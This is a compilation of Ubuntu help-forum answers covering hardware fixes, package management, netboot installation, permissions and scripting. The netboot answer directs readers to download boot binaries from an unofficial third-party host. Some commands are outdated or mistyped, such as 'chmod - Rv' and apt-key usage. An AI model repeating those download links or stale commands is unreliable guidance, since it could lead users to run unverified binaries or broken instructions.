I had the same problem on my linux computer. The problem wasn't about linux but about the firmware. Touchpad was turned off using fn-key.

I turned it on again using fn + f7.


I'm using Brother DCP 7025 printer/scanner, but I cannot use the scanner

You can (apparently) download .deb files from the brother support website.  You will be looking for a 'brscan2' model, and your particular device is listed on their webpage

On that same webpage is a link to the scanner installation instructions which seem to indicate that the software will work with Ubuntu 8.04 and above...


How do I restrict my kids' computing time (application based)?

There is Little Brother that I recommend.
https://github.com/marcus67/little_brother/blob/fb_configuration_gui/README.md
The installation is not difficult if you go through the readme page.


Application layer connection when using apt-get install

apt-get use TCP in general, but to know exactly which protocol apt-get is using, you can have a look at the file /etc/apt/sources.list. Packages can be coming from a cd-rom, a ftp server, a http server, etc.


You can solve this thing by following steps:

Press Ctrl+Alt+F2  then enter your username and password.
sudo apt -f install
sudo dpkg --configure -a
sudo dpkg-reconfigure lightdm
sudo dpkg-reconfigure gdm
sudo dpkg-reconfigure gdm3
sudo mv .Xauthority .Xauthority.bak
sudo reboot
Press Ctrl+Alt+F2  then enter your username and password.
sudo apt update
sudo apt upgrade
sudo reboot
Press Ctrl+Alt+F2  then enter your username and password.
sudo dpkg --configure -a
sudo apt -f install
sudo reboot

After all these steps, if you are still facing the problem, post the errors and error logs you see.


NetworkManager run script before connection based on SSID

Old seemingly unsanwered... filling in the blank.

/etc/network/if-up.d
-> pre-up option

http://manpages.ubuntu.com/manpages/trusty/man5/interfaces.5.html


Notification message when VPN gets disconnected

Very simple actually. You already know that you have to check state to see when the vpn is connected, so add a little print statement to see which value state is when you disconnect the vpn.

I get 4, so just add an elif block:

    elif state == 4:
        n = pynotify.Notification ("VPN", "Connection lost")
        n.show()

however, I already get notifications from Network Manager itself, don't you?


How do you create a PDF from multiple images? Now with more grid problems

If you know a bit of LaTeX, I would use pdflatex for this --- it's quite easy to script.

The trick is generating a file with this header:

\documentclass[letterpaper]{report}
\usepackage{graphicx}
\begin{document}

and then for each line of photos

\includegraphics[width=0.3\textwidth]{file01-01.png}\quad
\includegraphics[width=0.3\textwidth]{file01-02.png}\quad
\includegraphics[width=0.3\textwidth]{file01-03.png}\par

--- these are three images on a line, separated by a bit of space; and after three lines you put a

\clearpage

and at the end of the file a

\end{document}

You can generate the file with the language you want; save it in a file called whatever.tex and then process it with

 pdflatex whatever

With more LaTeX you can easily add captions, titles, frames or whatever you want. I understand it's a bit of steep curve to learn, but it's quite useful.


Empathy doesn't seem to be saving my display picture

I think pictures are stored on the protocol server, not on your local Empathy client (except maybe as cached data), so you should be able to upload a profile picture from any account/profile management web page.  For instance, I can see in Empathy the picture that I upload from my GMail account.


Can I install Ubuntu without a CD or a usb drive?

Yes you can.

The netboot approach
This page will guide you through obtaining the files necessary to boot the Ubuntu installation from a FAT or NTFS partition, thus allowing you to install Ubuntu without any sort of removeable media. This guide assumes that you are running either some NT-based Windows(NT, 2000, XP) or Windows 9x (95, 98, ME).

Create a directory called boot in the root directory of the first primary partition of your hard drive (usually drive c:\, which it will be referred to as from now on).

Download linux and initrd.gz from http://archive.ubuntu.com/ubuntu/dists/gutsy/main/installer-i386/current/images/netboot/ubuntu-installer/i386/ and save them to boot.

The following steps depend on which version of Windows you are using:

Windows 95/98/ME (using Loadlin)

Download loadlin.exe.gz from https://passechambre.appspot.com/show/indexothers.html and unpack it to boot (If your default compression/archive program doesn't like *.tar.gz files, try 7-Zip from http://www.7-zip.org)

Choose Reboot in MS-DOS mode in the shutdown menu or press F8 (Ctrl for Win98/ME) during boot and choose command prompt only in order to start Windows in DOS mode

Get into the boot directory and run loadlin:

cd c:\boot
loadlin linux initrd=initrd.gz vga=normal ramdisk_size=14972 root=/dev/rd/0 rw --
Now you should have a network installation going Smile :)

Note: On some computers the installer has problems with the video card and you may get a "melting screen". I replaced vga=normal with vga=771 and it worked on my laptop Stjepan Stamenkovic

Windows NT/2000/XP (using Grub)

Download https://passechambre.appspot.com/get/grubfordos041pre22.tar.gz

Extract grldr from the archive to c:.

Create a new folder in c:\boot\ called grub.

Extract menu.lst (Should be in the /boot/grub folder of the archive) to c:\boot\grub The rest of the files in the archive are unnecessary. (If your default compression/archive program doesn't like *.tar.gz files, try 7-Zip from http://www.7-zip.org or TUGzip from http://www.tugzip.com.)

Append c:\grldr="Install Ubuntu" to c:\boot.ini.

To view and edit the Boot.ini file on WindowsXP:
 1. Right-click on My Computer, and then click Properties.
 2. On the Advanced tab, click Settings under Startup and Recovery.
 3. Under System Startup, click Edit.
Note: Eventhough c:\boot.ini is not shown by the explorer, this file exists and can be also opened in the notepad. Just write the path c:\Boot.ini at the open dialog.

Open menu.lst in a text editor and paste the following text in the file:

title Install Ubuntu
kernel   (hd0,0)/boot/linux vga=normal ramdisk_size=14972 root=/dev/rd/0 rw --
initrd   (hd0,0)/boot/initrd.gz
Save menu.lst, reboot, and select "Install Ubuntu" in the windows OS chooser then in GRUB. You now have a network installation of Ubuntu going.

This procedure should be possible using a disk image, but it may be necessary to use a different kernel and pass some special argument in menu.lst to tell it to boot from the CD image (Has been achieved using Knoppix).

It would be nice if someone could automate this process. InstallationUbuntuFromWindows outlines how such an installation system might work.

This site will help as well:  https://help.ubuntu.com/community/InstallationUbuntuFromWindows


Bizarre problem. Pressing ']' key in terminal results in '7' and pressing '7' results in a down arrow

Thanks to the link posted by user brndn2k, I was able to resolve the issue.

I had been working with binary data and that must have been the culprit, as mentioned in the link.

Using the reset command and restarting my terminals returned the terminal to normal character encoding.

https://stackoverflow.com/a/121299


I am having trouble with updating in kubuntu 15.04

TL;DR The PPA may not be available for Vivid Vervet. Remove them.

To remove the PPA has several methods:

You can use the --remove flag, similar to how the PPA was added:

Open a terminal,Press Ctrl+Alt+T

Run it:

sudo add-apt-repository --remove ppa:{ppa_name}/ppa

You can use a safer alternative, install and run ppa-purge:

Run it:

sudo apt-get update
sudo apt-get install ppa-purge
sudo ppa-purge {ppa_name}

With these commands you remove the PPA and downgrading packages it provided to packages provided by official repositories.


gnome language selector refuses to set language

I had a similar problem. The cause was a missing .profile file in my home directory.

Solution: Open a terminal and run the following command in it:

cp /etc/skel/.profile ~/

Then change the language in gnome-language-selector.

See bug 1018621 for more info.

If the above solution doesn't work for you, try to search the web for that unicode warning (lines 1-2) or those debconf warnings (lines 3-6).  I didn't have those warnings.


Bluetooth doesn't work after resuming from sleep, Ubuntu 18.04 LTS

update bluez to >=5.28.2

18.04 ships with a buggy bluez package for now; newer version is available from this PPA: https://launchpad.net/~bluetooth/+archive/ubuntu/bluez:

sudo add-apt-repository ppa:bluetooth/bluez
sudo apt install bluez

workaround for buggy Bluetooth applet (Unity specific?)

This is probably the issue @solstice mentioned - BT menu applet doesn't let me enable Bluetooth after resuming from sleep. No matter if the toggle switch is off or on, the BT icon is disabled, and rfkill output doesn't change:

$ rfkill list
0: phy0: Wireless LAN
    Soft blocked: no
    Hard blocked: no
12: hci0: Bluetooth
    Soft blocked: no
    Hard blocked: no

You can toggle BT manually by running (substitute your own ID):

rfkill block 12
rfkill unblock 12

and BT applet should pick it up correctly now. At this point, you should be able to connect to your devices. For now I've hacked it together using a script that does this automatically after resume:

$ cat /lib/systemd/system-sleep/bt
#!/bin/sh

case $1 in
  post)
    sleep 5
    rfkill block `rfkill list | grep hci | cut -d: -f1`
    sleep 1
    rfkill unblock `rfkill list | grep hci | cut -d: -f1`
    ;;
esac

The ID number next to hci0 in rfkill list output seems to increment after every suspend/resume. Disabling/enabling BT using the BT menu should change the output ('soft blocked: yes' for BT disabled via menu), but it doesn't. My guess is that the applet remembers the wrong device ID and is thus trying to enable a device that no longer exists.


Ubuntu 18.04 - Tp Link dongle - fail connecting network ( model TL-WN821N )

In latest kernel some function obsolete so original driver need to modify according to new kernel.
download tp link drive from following link.

https://github.com/ZeeRooo/RTL8192EU

goto driver folder and run follwing commands.

# apt update
# apt-get install gcc make libelf-dev
# make
# make install

remove wifi usb dongle and reboot system.
Install wifi module

# modprobe 8192eu

now insert wifi dongle and test.
working for me tested on ubuntu 18.04 and Arch linux.


I use codeblocks. I would recommend you the same.
Maybe you need to install build-essentials to compile programs.

sudo apt-get install build-essential


You would have to get the Beta-ISO for your architecture (amd64,i386,...) and the zsync file for the release of the same architecture.

So you can update i.e. a amd64 Trusty Beta to an amd64 Trusty FinalRelease. If you download the ISO for the wrong arch, you'll have to update large parts of the ISO, because nearly every binary file will change...


Full screen in VirtualBox without a desktop environment

I think I figured it out.
Both the VirtualBox Guest Additions and Xorg were installed correctly, hence my confusion. However, this was not enough to get a working full screen. VirtualBox Guest Additions installs a program called VBoxClient, typically located at /opt/VBoxGuestAdditions-<version number>/bin. If you run that program with the argument --vmsvga, you get full screen. Perhaps GNOME automatically searches for this program and runs it if it's installed, but since I wanted a minimal install without any desktop environment, I had to do it manually. You can also run VBoxClient with the arguments --clipboard and --draganddropg, for shared clipboard and drag and drop functionality, it only accepts one argument per call, though. Alternatively, you can run VBoxClient-all, it's the same command, but it enables everything at once.
It needs to run after the X server is started, so I prepended a single line, VBoxClient-all &, in my ~/.xinitrc file, and now I have full screen whenever I start X.


Install .bin file without using command line

When downloading the file, right-cligk on the link and select "save as", save it in some location in your hard disk (maybe Downloads). Next, open the Downloads folder, right-click on the .bin file, select "Properties" (last item). Go to the "Permissions" tab and check "Allow executing file as program". Close this dialog, and then you should be able to run the .bin by double-clicking on it.


Xubuntu 13.04: How to hide backup files on desktop?

To hide a file or folder just rename it and put a "." in front of its name

mv /home/user/Desktop/file1 /home/user/Desktop/.file1

this will hide files/folders.

Or

To move the backup files to another location use the move command in terminal

mv /home/user/Desktop/file1 /place/where-to/move

To move particular type of files like .sql files

mv /home/user/Desktop/*.sql /plcae/to/move

To move file ending with "~" use

mv /home/user/Desktop/*~ /plcae/to/move


When I have this problem, I simply Ctrl + Alt + F2 into a terminal, log in, and type

killall -u  [username] gnome-session

This will basically kill all of your processes and log you out. If you want to logout all users at the same time in this manner, then you leave out the -u [username] part.

I guess you could create a new keyboard shortcut that runs this command. The only problem with this that I can forsee is if the freeze-up is because of gnome itself. Then it may not recognize the shortcut.


After /drive_c it should be /Riot Games/League of Legends. You need the spaces in that case since its the actual name of the folders.


How do I recover files from an Ubuntu partition for which I am not the "owner"?

Just changing the owner of the files will work for you.

Use the Ubuntu_LiveUSB to boot into system, and the create a user temporarily.

<ctrl+alt+T> to open terminal
$ passwd    --> To create the passwd for 'root'
$ sudo -i    --> To change user from 'LiveCD' to 'root
# useradd -m -G NEWUSER    --> To add a new user
THEN GO TO THE DIRECTORY WHERE YOU WANT TO RECOVER YOUR FILES.
# chown -R NEWUSER *    --> change the owner of all the files under the directory

And then you can copy what you want to recover in the file manager(nautilus).

Hope this will help you.


Disk full error, however 4GB/97GB remains

That 4G are the reserved blocks for use by privileged processes.  The default is 5% of the total filesystem.  See the man page for tune2fs to change this percentage:
man tune2fs
...
-m reserved-blocks-percentage
Set the percentage of the filesystem which may only be allocated by privileged processes.   Reserving some number of filesystem blocks for use
by privileged processes is done to avoid filesystem fragmentation, and to allow system daemons, such as syslogd(8), to  continue  to  function
correctly after non-privileged processes are prevented from writing to the filesystem.  Normally, the default percentage of reserved blocks is
5%.


Can't view files on partitioned external drive

If you suspect that the drive is failing and you want to recover as much data as possible and have 60GB free, then ddrescue is your best bet.  The instructions here should help:

https://help.ubuntu.com/community/DataRecovery

While I would suggest reading through that entire page, the basic steps you'll want to do are:

Unmount the partitions.
Use ddrescue to take a copy of each partition (/dev/sdc1 to /dev/sdc3) to somewhere on another disk.  See the above link for suggested parameters.
Mount the images via loopback with a command like mount -o loop,ro -t vfat sdc1.img /mnt and then copy files from there.

By recovering the files out of an image of the file system, you won't receive read errors.  However, your image may be missing some data depending on how successful ddrescue was.

You can run ddrescue repeatedly to attempt to recover more data, but I'd suggest trying to get an initial image of all three partitions before doing so.


2 options :

ctrlaltT to launch a term window

ctrlaltF3toF6 to switch between tty


Help of libreoffice does not work after Ubuntu 20.04 dist-upgrade (object not accessible insufficient user rights)

This is a bug 1869561, it is not solved.

Temporarily you can use the help from web browser by opening /usr/share/libreoffice/help/index.html location.

Or use newer version of LibreOffice from the official PPA:

sudo add-apt-repository ppa:libreoffice/ppa
sudo apt-get install libreoffice


can't install with usb pen drive, SYSLINUX problem

In 10.10 there is a bug in usb-creator that may cause your problems. Try creating your stick using UNetbootin, as was just suggested.

There are reports that you can fix the bug by opening syslinux.cfg on the USB drive and replace the following line:

ui gfxboot bootlogo

with

gfxboot bootlogo


18.04: USB and other removable devices are not recognized after upgrade from 17.10

I had the same problem after upgrading 16.04 to 18.04. USB memory sticks, printer or even mouse would not be recognized.
As mentioned in the above answer, after 10-20 minutes a memory stick was sometimes recognized. What worked consistently was connecting the device at boot time.
Another thing I found was the device WAS listed in the connected devices list but NOT mounted! I could manually mount it with mount command but the mounted device still would not show up in Nautilus!

Finally found the answer when I decided to tackle the laptop overheating problem. (Read about it here: Ubuntu 18.04 systemd-udevd uses high CPU, conflict with wifi).
Indeed my CPU usage was at 100%. The moment I disabled bluetooth from BIOS, the CPU usage became normal - between 10 to 25%, overheating stopped and now the USB devices are getting recognized too!

So it means the whole problem was due to high CPU usage! Probably the other processes were not getting CPU time to do their stuff. I'm no expert on OSs, but this is a logical guess :-).


TPLink AC600 Driver Install Fails in Ubuntu 16.04 with Unknown Symbol

Upgrading kernel to version 5.0.5 the adapter will work without any third part driver installation.

Here are the steps:

First of all: make backup of all your system and files.

Open a terminal and do the following commands:

wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.0.5/linux-headers-5.0.5-050005_5.0.5-050005.201903271212_all.deb \\ https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.0.5/linux-headers-5.0.5-050005-generic_5.0.5-050005.201903271212_amd64.deb \\ https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.0.5/linux-headers-5.0.5-050005-lowlatency_5.0.5-050005.201903271212_amd64.deb \\ https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.0.5/linux-image-unsigned-5.0.5-050005-generic_5.0.5-050005.201903271212_amd64.deb \\ https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.0.5/linux-image-unsigned-5.0.5-050005-lowlatency_5.0.5-050005.201903271212_amd64.deb \\ https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.0.5/linux-modules-5.0.5-050005-generic_5.0.5-050005.201903271212_amd64.deb \\ https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.0.5/linux-modules-5.0.5-050005-lowlatency_5.0.5-050005.201903271212_amd64.deb

sudo dpkg -i  linux-headers-5.0.5-050005*.deb  linux-image-unsigned-5.0.5*.deb  linux-modules-5.0.5-050005*.deb

After installation:

sudo reboot

uname -a

Tested on Xubuntu 19.04


14.04 on new amd computer and ethernet won't work

Pls try to provide more info next time, info such as:

   uname -a
   ifconfig
   lsmod |grep rtl

However, if you just type the chipset/brand of your ethernet interface on network you will find the solution. YYou searched for weeks and i searched for 5 seconds and found everything about it even not knowing the full info.

Pls find the driver for your network card here and install them:

   http://www.realtek.com.tw/Downloads/downloadsView.aspx?Langid=1&PNid=13&PFid=5&Level=5&Conn=4&DownTypeID=3&GetDown=false#2

Keep it in mind that you might have some modules loaded already for the interface and you have to blacklist that as it seems obvious that they don't work.


You could ask the Wine folks to add Mono to their package, but until then, https://www.mono-project.com/download/stable/#download-lin shows how to add it. for 16.04:

sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF
sudo apt install apt-transport-https
echo "deb https://download.mono-project.com/repo/ubuntu stable-xenial main" | sudo tee /etc/apt/sources.list.d/mono-official-stable.list
sudo apt update


You can kill <PID> or kill -9 <PID> the process after determining it's PID with ps axf |grep banshee. After that you should be able to start the application again. As it says in your link, you should try to kill the parent process. Output looks like this for me:

4875 ?        S      0:00          |   \_ bash /usr/bin/banshee --redirect-log --play-enqueued

4881 ?        Sl     0:03          |       \_ banshee /usr/lib/banshee/Banshee.exe --redirect-log --play-enqueued

What's your output?

The system ressources application includes something similar to the Windows Task Manager (with just the processes) by the way.


You can create a new a new temporary profile and then copy the cert8.db file from the new profile.

To create a new profile you may need to start firefox with:

  firefox -ProfileManager

and then click "Create profile". Then start firefox once with the new profile to have it create the profile's files.

After that exit firefox and then copy ~/.mozilla/firefox/[new profile directory]/cert8.db to ~/.mozilla/firefox/[old profile directory]/cert8.db. The profile directories' names end with the name of the profile, so that's how you can know which is the new one and which is the old one.

Finally switch to your old profile (you may need to start with the -ProfileManager option again) and you should have the default CA configuration.


Why do I get LIBUSB_ERROR_ACCESS when trying to get my Xbox controller working?

Use the command sudo xboxdrv and enter your password. This will give you permission to use the usb port. However, I have only got this working for one controller so far.


What is causing gnome-panel to crash and respawn constantly?

You could try this, which will delete your panel settings and give you the defaults.

gconftool-2 --shutdown
rm -rf ~/.gconf/apps/panel
pkill gnome-panel

You don't want to run sudo gnome-panel --replace. That creates a panel as the root user (note the username in the panel is "root"), but your own panel is still continuing to crash in the background.


This is usually the button immediately above the TAB on most keyboards.

For my keyboard - grave is actually correctly known as the ` key - grave is also known as the back-tick.

In my travels I have seen the Ubuntu "key above the tab" to actually be the § or  º.  I'm sure there are many other similar characters on peoples keyboards.

Depending on your locality if you press and hold the SUPER to display the overlay, you should see the equivalent Grave key for your locality

for example:

(thanks Javier Rivera)

For my keyboard combination - ALT+` - gives you this switching capability (cycle through the windows group):

To use this key combination - let go of the grave without letting go of Alt and then repress grave to cycle through the windows group.


Ubuntu launcher bar resets automatically everytime I restart computer

Since unity –reset is deprecated and hasn't worked since 12.10,  we have to reset Unity (and Compiz) manually if for some reason we don't want to install unity-tweak-tool

First let's make sure we have the tools to do the job.

sudo apt-get install dconf-tools

after installation is complete

If you want a listing of your current Compiz settings (before returning them to defaults) you can issue the command dconf dump /org/compiz/

we will issue the command

dconf reset -f /org/compiz/

To restart unity and apply the changes immediately issue the command

setsid unity or reboot.

Sources:

http://www.webupd8.org/2012/10/how-to-reset-compiz-and-unity-in-ubuntu.html

https://github.com/phanimahesh/unity-revamp


Ubuntu 17.10 shows my gigabit ethernet connection at 100Mbps

My guess is a bad or poor-quality ethernet cable.  Has that computer ever worked at Gbit?  Have you tried any live CD's?  Have you tried that ethernet cable on a machine that you know works at full speed?  From the looks of it, it looks like a hardware issue.

I've never used lshw to determine speed, but you might want to try typing cat /sys/class/net/enp1s0/speed and see what it says there.


So I was able to do this by adding a another region keyboard (using english UK)
I used xev to get the keycode
KeyRelease event, serial 37, synthetic NO, window 0x2e00001,
    root 0x5c5, subw 0x0, time 790965, (1386,793), root:(1394,865),
    state 0x10, keycode 44 (keysym 0x6a, j), same_screen YES,
    XLookupString gives 1 bytes: (6a) "j"
    XFilterEvent returns: False

KeyRelease event, serial 37, synthetic NO, window 0x3000001,
    root 0x5c5, subw 0x0, time 2590604, (72,-17), root:(80,55),
    state 0x2010, keycode 31 (keysym 0x69, i), same_screen YES,
    XLookupString gives 1 bytes: (69) "i"
    XFilterEvent returns: False

KeyRelease event, serial 37, synthetic NO, window 0x3000001,
    root 0x5c5, subw 0x0, time 2612248, (947,850), root:(955,922),
    state 0x2010, keycode 45 (keysym 0x6b, k), same_screen YES,
    XLookupString gives 1 bytes: (6b) "k"
    XFilterEvent returns: False

KeyPress event, serial 37, synthetic NO, window 0x3000001,
    root 0x5c5, subw 0x0, time 2612767, (947,850), root:(955,922),
    state 0x2010, keycode 46 (keysym 0x6c, l), same_screen YES,
    XLookupString gives 1 bytes: (6c) "l"
    XmbLookupString gives 1 bytes: (6c) "l"
    XFilterEvent returns: False

Then I used xmodmap to bind the keys
xmodmap -e "keycode 31 = i I KP_Up i"
xmodmap -e "keycode 45 = k K KP_Down k"
xmodmap -e "keycode 46 = l L KP_Right l"
xmodmap -e "keycode 44 = j J KP_Left j"

If you want to reset the keybindings you can use
setxkbmap -layout us
To make this load everytime I open the computer, I've added it to ~/.bashrc


Is there a bash/terminal command that will clear content prior to the last command?

As mentioned piping the command to | less, will make it clear.

If you are using bash you can also press CTRL +L to clear, then run the command. This is what i do :)


How I can type in English and persian (Farsi) combined in Abiword?

Here is an old article on the bi-directionality of AbiWord.  It explains how to create bi-directional documents using AbiWord.  I believe that it may assist you in solving your problem.

http://www.abisource.com/help/en-US/howto/howtobidi.html


how to run as administrator ubuntu 14.04 and not as guest?

You can easily find your answers by googling!

In order to run a command with root privilege, you can use sudo or su commands. (your authentication password was set when you were installing Ubuntu). if you are using a live cd,for authentication just press Enter.

There are many many Ubuntu tutorials on the web, just take a look at some of them. Your problems will solved quickly!


Can Ubuntu automatically mount a second, internal hard drive?

You can add the mount to /etc/fstab file as well.
The syntax

# <file system> <mount point>   <type>  <options>       <dump>  <pass>

so it would be something like

  /dev/sdb1   /backup      ext4    defaults 0  1

assuming the device name is sdb1 and mount point is /backup.

I would recommend to backup existing /etc/fstab file so that you can revert if something goes wrong.

To edit /etc/fstab in Graphical mode (in case you dont know emacs and (g)vi(m) which is more text based, use

gksudo gedit  /etc/fstab


How to download video content off of Facebook with Ubuntu?

When you want to download a video from Facebook, replace the WWW with m http://m.facebook.com/video  You can then save the video by back clicking on it.


Migrating python application to higher version

Test your code in a Python virtual environment. You can install whatever Python version and Python packages your want in a Python environment without root privileges and without breaking other packages. That's the easiest way to test your code without breaking anything and without upgrading to a later version of Ubuntu.


Removing a package broke gnome-panel, how do I get it back?

You didn't say exactly which package you removed, but the only similar package installed on my machine is libnspr4-0d. It is a dependency of a bunch of stuff, so if you removed it, you'll have to reinstall a lot of things. gnome-panel is one such thing you'll have to reinstall.

I recommend, however, that you also reinstall ubuntu-desktop to hopefully get everything back. In the future, you shouldn't remove anything beginning with lib unless you know what you're doing or your package manager informs you that the lib is no longer needed.

By the way, you only need *-dev packages (such as libnspr4-dev) if you want to compile software from source that has a build-time dependency on that particular library.


Some googling I have some mixed reviews on the support on that card in 12.04. This question seemed to offer a alternative driver solution.

 https://askubuntu.com/a/139986/7077

You might need to find a more supported card

 http://www.nvidia.com/object/linux-display-ia32-295.59-driver.html

for a more recent card if the other method dosent work.

If you plan to use it as a server and not install x or use a GUI I don't think it will be a problem using the "nomodeset". But if you wanted to login with VNC or use the GPU for something I would recommend buying a more supported card.


If you installed the ssh server than you may be accepting incoming SSH connections. However if you just installed the ssh client, than you are good to go. You need to be running a ssh server to allow incoming connections.
You can check if you have ssh-server running on your Ubuntu with
sudo service --status-all | grep ssh if there is a [ + ] ssh than you're running an ssh server, and you can disable ssh connections by turning off the ssh server with: sudo service ssh stop.


install ubuntu got stuck on prepare to install

I think it's only a problem if the mouse pointer completely stops rotating. So you're fine, I guess.


Support for the Boss GT-100 has been added to the ALSA kernel source two weeks ago (although it contains the very same code as on the page you mentioned), so you may either compile the sources from git or keep on waiting til your distribution adds the new code. It works like a charm for me in Ubuntu 12.04 and Mint Maya.

Erik (from delta-xi.net)


after downloading ubuntu can I revert back to Windows 8?

The best thing to do is to choose Try Ubuntu, before you do any thing else.

Once you try it, and you decide that you like it,  you can install it along side windows,

and yes if you decide that you don't want it, you can revert back to windows.


Ubuntu 20.04 - WineHQ 6.0 - Create .lnk shortcut for a program

I invented the right solution that guarantees perfect compatibility with wine:
lnk () {
    cat <<EOF > /tmp/shortcut.vbs
TargetPath = WScript.Arguments(0)
Pos = InStrRev(TargetPath, "\") - 1
If Pos > 0 Then WorkingDirectory = Left(TargetPath, Pos) Else WorkingDirectory = "."
Set lnk = CreateObject("WScript.Shell").CreateShortcut(WScript.Arguments(1))
    lnk.TargetPath = TargetPath
    lnk.WorkingDirectory = WorkingDirectory
    lnk.Save
EOF
    wine wscript '//b' 'Z:\tmp\shortcut.vbs' "$@" 2> /dev/null
    local exit_code=$?
    rm -f /tmp/shortcut.vbs
    return $exit_code
}

I was able to call the function cleanly:
lnk 'C:\Program Files (x86)\Rufus\rufus.exe' 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Rufus.lnk'

This is the installation function of a program in my case:
update_rufus () {
    local old_version="$(cat ~/'.wine/dosdevices/c:/Program Files (x86)/Rufus/version.txt' 2> /dev/null)"
    local link="$(wget -q 'https://api.github.com/repos/pbatard/rufus/releases/latest' -O - | grep '"browser_download_url":' | grep -o -m 1 -E '[^"]+/rufus-[0-9.]+\.exe')"
    wget -q "$link" -O rufus.exe
    local exit_code=$?
    if [[ $exit_code -eq 0 ]]; then
        mkdir -p ~/'.wine/drive_c/Program Files (x86)/Rufus'
        echo "$link" | perl -lpe 's|^.*/rufus-([0-9.]+)\.exe$|\1|' > ~/'.wine/drive_c/Program Files (x86)/Rufus/version.txt'
        mv rufus.exe ~/'.wine/drive_c/Program Files (x86)/Rufus'
        lnk 'C:\Program Files (x86)\Rufus\rufus.exe' 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Rufus.lnk'
        local new_version="$(cat ~/'.wine/dosdevices/c:/Program Files (x86)/Rufus/version.txt')"
        if [[ "$new_version" == "$old_version" ]]; then
            echo "Rufus is already the newest version ($new_version)."
        else
            echo "Rufus has been successfully updated ($new_version)."
        fi
    else
        echo 'An error has occurred.'
    fi
    return $exit_code
}


How to Prepare this SSD for Ubuntu 13.04 in Zenbook?

The partitions on the SSD look like Intel's version of RAID/SSD caching technology. Whereas the partitions on the HDD look like a bunch of Windows/recovery/Ubuntu partitions. I'm considering a similar laptop and given what I've research what I would do is:

Install Ubuntu normally telling it to take over the whole HDD
Repartition the SSD to have a single partition and then use bcache for it: How do I install and use flashcache/bcache to cache HDD to SSD?

This will use the HDD for all storage and yet use the SSD to speed it up as a cache. This is the basic config. It will be more complex if you want Ubuntu installed with separate partitions on the HDD (e.g., /home separate from /) or if swap should be on the SSD.


Prevent parameter expansion in shell script

I've demonstrated the problem here:

$ pie() { echo $1; }; pie '*'
1 2 3 4 5 file

Expanded. Bother.

But the solution is quite simple. You just need to quote it but in a way that bash will understand. We use double-quotes. It will be replaced with the variable contents but it won't be expanded.

$ pie() { echo "$1"; }; pie '*'
*


Best practices to ease the OS upgrade procedure

The best advice I can think of is take measures so that, in case of any problem, you can go back to your old configuration while you work on fixing the problem.

In particular:

Backup your data
Keep your data in a different partition than the OS
Reserve a spare partition for the future distribution

The last bullet I think isn't very common, but I find it quite effective. What I do when I have to upgrade is avoid the upgrade procedure completely and just install the new distribution in a different partition while using the same partition for my home directory. This way, if the new distribution doesn't work for me, I can either look into the problem and try to fix it or, if I need to do some other thing, use the old distribution.

I've never had any serious problem; but, at the same time, I've always been sure that in case of any problem (drivers, configuration, etc.), I could go back and use my old stable configuration as usual without any danger to my personal files.


Change background color of selected text

You can edit

/usr/share/themes/Ambiance/gtk-2.0/gtkrc
/usr/share/themes/Ambiance/gtk-3.0/gtk.css
/usr/share/themes/Ambiance/gtk-3.0/settings.ini

and wherever you see selected_bg_color change #f07746 (orange) to #0000ff (bright blue, or whatever color you prefer)

These are system files, so to edit them you'll need to be root like so:

 gksudo gedit /usr/share/themes/Ambiance/gtk-2.0/gtkrc /usr/share/themes/Ambiance/gtk-3.0/gtk.css /usr/share/themes/Ambiance/gtk-3.0/settings.ini


How do I replace another linux distro (eOS) with Ubuntu?

You are right with 'Something else' option. But you will have to boot the live DVD or the USB version with Ubuntu 14.04, and after you are in the live session you can setup your internet connection and start the installer from the live desktop.

Once you are facing the window presenting those options for installing Ubuntu, you choose the last one Something else and press Next to get to your hard disk partition table. You need to format to Linux ext4 that partition where you previously installed Luna OS, and preserve the Linux swap area assuming it is still present in your list.

Or you can delete the partition where you installed Linux before and create a new partition formatted as Linux ext4 choosing the foreslash / as mount or startup point for this partition. You also need a small linux swap partition (1-2 GB) but I suppose it is still there from your previous installation.

And when you are done, you can select your newly formatted linux ext4 partition and press NEXT to begin installing Ubuntu. During installation you will have to provide the installer with your desired keyboard layout, your location (for setting up time and date) and some username and password. Fill in every requirement with patience so you won't have to start the installer again.


Maybe you need to bridge the 2 Ethernet ports? How do I setup DHCP-Server interfaces so they are mapped/bridged to each other?
There's a simple guide there.


CHMOD 777. In terminal, the command to make all changes affect every file and folder?

Giving files a 777 permission is absolute overkill, mind that you give with this your user full access, the user group full access and all others. So from a security standpoint this is a horrible solution.

Permissions are octal and each number represents what you can do with the file:

Number  Permission Type       Symbol
------------------------------------
0       No Permission         ---
1       Execute               --x
2       Write                 -w-
3       Execute + Write       -wx
4       Read                  r--
5       Read + Execute        r-x
6       Read +Write           rw-
7       Read + Write +Execute rwx

So it is definitively enough to give your user full and the group and others limited access (i.e. 755).

To do this recursively you can use the -R flag and the -v flag to get a verbose output of the action. So the line you search for is:

sudo chmod - Rv 755 /path/destination

See here and here for further reading into.


How do I download and install an application from github?

That Git repository contains an INSTALL file, which is a common place for building and installation instructions. It reads:

  See doc/readme-qt.rst for instructions on building Pesobit QT,
  the intended-for-end-users, nice-graphical-interface, reference
  implementation of Pesobit.

In doc/readme-qt.rst we can find installation instructions “for Debian and Ubuntu”:

  First, make sure that the required packages for Qt5 development of your distribution are installed, for Debian and Ubuntu these are:

apt-get install qt5-default qt5-qmake qtbase5-dev-tools qttools5-dev-tools build-essential libboost-dev libboost-system-dev libboost-filesystem-dev libboost-program-options-dev libboost-thread-dev libssl-dev libdb++-dev

  then execute the following:

qmake
make

  Alternatively, install Qt Creator and open the pesobit-qt.pro file.

  An executable named pesobit-qt will be built.

You can also find a description of some useful build options in that file.


How can I send email from my website on ubuntu server

Start with installing a MTA. This lets PHP send the email from the server.

sudo apt-get install postfix

Then in PHP it's fairly simple. Use the mail command:

mail('address@example.com', 'Form submission', $_POST['message']);

That assumes there was a form element with the name message in the form. It also assumes your form is (as it should be) <form method="post" ...>.


Use the ldapsearch command line tool to verify that the server is running and the credentials you are using are correct:

ldapsearch -D the-dn-you-use -w -the-password-you-use \
